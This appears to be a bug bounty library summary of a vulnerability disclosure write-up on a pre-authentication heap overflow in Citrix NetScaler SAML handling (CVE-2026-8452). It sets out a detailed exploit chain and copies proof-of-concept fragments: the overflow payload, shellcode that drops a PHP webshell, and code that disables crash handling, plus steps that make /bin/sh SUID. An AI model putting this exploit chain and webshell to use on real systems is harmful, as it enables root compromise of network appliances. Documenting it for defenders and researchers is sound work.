# You’re Back In The Room (Citrix NetScaler Pre-Auth RCE CVE-2026-8452(?))

Unauthenticated heap overflow in NetScaler SAML SignedInfo canonicalization via oversized PrefixList yields write-what-where and pre-auth RCE as root.

- Payout: Research
- Severity: critical
- Program: Citrix
- Write-up by: Sina Kheirkhah
- Disclosed: 2026-08-14
- CVE: CVE-2026-8452
- Write-up quality: 9/10
- Original: https://labs.watchtowr.com/youre-back-in-the-room-citrix-netscaler-pre-auth-rce-cve-2026-8452/
- Library page: https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-youre-back-in-the-room-citrix-netscaler-pre-auth-rce-cve-2026-8452
- Tags: area:devices domain:network impact:privesc impact:rce kind:research platform:research sev:critical tech:saml technique:chained technique:fuzzing technique:source-review vuln:auth-bypass vuln:memory-corruption vuln:rce

**Target:** NetScaler nsppe packet engine SAML signature canonicalization (SignedInfo InclusiveNamespaces PrefixList)
**Root cause:** During exclusive-c14n canonicalization, attacker-controlled PrefixList from ds:SignedInfo is copied into a fixed-size global/nsb buffer without a size check, overflowing into the adjacent nsb chunk header.
**Steps:**
1. Configure NetScaler 13.1 with SAML (SP or IdP).
2. Send a signed SAML message whose ds:CanonicalizationMethod Algorithm is xml-exc-c14n# with ec:InclusiveNamespaces PrefixList containing many unique space-separated tokens (`N0 N1 ... N1999`).
3. Overflow runs off chunk N data buffer into chunk N+1 header, overwriting +0x00 type magic, +0x50 data pointer, +0x60 freelist link.
4. Use self-describing `N%07d` markers to map payload bytes to header fields; set a3+0x50 to target address minus pktlen, pin a3+0x60 to a valid chunk.
5. splitPktInner memcpy(dest=*(a3+0x50)-pktlen, src=*(a1+0x50), len=*(a1+0xE0)-*(a1+0x50)) gives write-what-where.
6. Overwrite global `tx_pkt_complete_fptr` with heap address of shellcode (heap RWX, non-PIE, no ASLR, fixed 0x112d30000 after respawn).
7. pe_tx_pkt does `mov rax, cs:tx_pkt_complete_fptr; jmp rax` -> shellcode executes as root.
8. Shellcode opens/writes `/var/vpn/theme/x.php` with `<?php echo(system($_GET[0])); ?>`, then sigaction(SIG_IGN) on SIGILL/TRAP/ABRT/FPE/BUS/SEGV so pitboss respawns nsppe instead of rebooting.
9. Shellcode sets SUID on /bin/sh so webshell (running as nobody) executes commands as root.
**How found:** Diffed patched nsppe binary (39,637 functions, 174 changed), spotted new size checks around SAML SignedInfo copies; fuzzed SignedInfo attributes, found PrefixList accepts arbitrary unique space-separated strings while others are constrained; oversized PrefixList crashed in ns_memcpy_avx with 0x4d marker bytes in pointer, traced back through splitPktInner to identify controlled dest/src.
**Exploitation:** Unauthenticated attacker sends crafted SAML SignedInfo with huge unique PrefixList; overflow poisons neighbor nsb header; later splitPktInner memcpy writes attacker bytes to attacker-chosen address; overwrite tx_pkt_complete_fptr to jump into RWX heap shellcode; shellcode drops PHP webshell and neutralizes signal handlers to survive pitboss respawn; SUID /bin/sh gives root via webshell.
**Escalation:** Heap overflow -> write-what-where -> function pointer hijack (tx_pkt_complete_fptr) -> RIP control -> shellcode -> webshell + SUID root shell; signal-handler teardown prevents full appliance reboot so dropped files persist.
**Insight:** When auditing SAML c14n, target InclusiveNamespaces PrefixList and Transform PrefixList: they accept arbitrary unique tokens unlike other SignedInfo attributes, and canonicalization buffers are often fixed-size. Use self-describing incrementing markers (N%07d) to map overflow bytes to specific struct fields instead of guessing.

## Proof of concept (copied exactly from the original report)

**Oversized PrefixList SignedInfo overflow payload**

```
prefix_list_overflow = " ".join(f"N{i}" for i in range(2000)) # -> "N0 N1 N2 N3 ... N1999"

inclusive_ns = f'<ec:InclusiveNamespaces xmlns:ec="<http://www.w3.org/2001/10/xml-exc-c14n#>" PrefixList="{prefix_list_overflow }"/>'
```

**Shellcode dropping PHP webshell via syscalls**

```
sc += shellcraft.pushstr("/var/vpn/theme/x.php")

sc += f"""
 mov rdi, rsp
"""
sc += shellcraft.syscall(
 SYS_open,
 "rdi",
 O_WRONLY | O_CREAT | O_TRUNC,
 MODE
)

sc += """
 mov r12, rax
"""

content = "<?php echo(system($_GET[0])); ?>"
sc += shellcraft.pushstr(content)

sc += """
 mov rdi, r12
 mov rsi, rsp
"""
sc += shellcraft.syscall(
 SYS_write,
 "rdi",
 "rsi",
 len(content)
)

sc += """
 mov rdi, r12
"""
sc += shellcraft.syscall(
 SYS_close,
 "rdi"
)
```

**Shellcode tearing down signal handlers via sigaction**

```
SYS_sigaction = 416 # sigaction for freebsd
SIG_IGN = 1

signals = [
 4, # SIGILL
 5, # SIGTRAP
 6, # SIGABRT
 8, # SIGFPE
 10, # SIGBUS
 11 # SIGSEGV
]

sc = """
 xor eax,eax

 push rax
 push rax
 push rax
 push 1

"""

for sig in signals:
 sc += f"""
 mov rsi,rsp
 xor edx,edx

 push {sig}
 pop rdi

 push {SYS_sigaction}
 pop rax

 syscall
"""
```

## Write-ups of the same bug (oldest first)
- 2026-08-14: [You’re Back In The Room (Citrix NetScaler Pre-Auth RCE CVE-2026-8452(?))](https://bugbountylibrary.com/r/blog%3Alabs-watchtowr-com-youre-back-in-the-room-citrix-netscaler-pre-auth-rce-cve-2026-8452) — Sina Kheirkhah (this one)
- 2026-08-21: [No Crash Required: Verifying the Citrix NetScaler SAML Patch for CVE-2026-8452](https://bugbountylibrary.com/r/blog%3Abishopfox-com-blog-no-crash-required-verifying-the-citrix-netscaler-saml-patch-for-cve-2026-8452) — Michael Tucker

